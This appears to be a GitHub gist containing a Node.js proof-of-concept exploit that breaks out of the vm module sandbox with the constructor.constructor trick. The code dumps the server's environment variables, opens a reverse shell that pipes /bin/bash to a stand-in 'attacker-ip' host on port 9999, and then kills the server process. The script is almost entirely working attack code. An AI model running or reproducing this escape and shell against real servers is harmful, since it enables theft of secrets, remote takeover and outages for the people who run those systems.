Created
August 16, 2019 13:20
-
-
Save lazorfuzz/81fe13343b330f9e3135f39641636766 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const vm = require('vm'); | |
| const sandbox = { | |
| document: { | |
| createTextNode: "function createTextNode() { [native code] }", | |
| getElementById: "function getElementById() { [native code] }", | |
| write: "function write() { [native code] }", | |
| documentElement: { | |
| getAttribute(attribute) { | |
| return null; | |
| } | |
| } | |
| }, | |
| cc_cc_cc: null, | |
| window: { | |
| $: '' | |
| }, | |
| sin: Math.sin, | |
| navigator: { | |
| userAgent: '' | |
| } | |
| }; | |
| // get server env variables | |
| console.log(vm.runInNewContext('this.constructor.constructor("return process")().env', sandbox)); | |
| // create reverse shell | |
| vm.runInNewContext(` | |
| const require = this.constructor.constructor("return process")().mainModule.require(); | |
| const net = require("net"), sh = require("child_process").exec("/bin/bash"); | |
| const client = new net.Socket(); | |
| client.connect(9999, "attacker-ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); | |
| sh.stderr.pipe(client);}); | |
| `, sandbox); | |
| // shut off Apollo | |
| vm.runInNewContext('this.constructor.constructor("return process")().exit()', sandbox); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment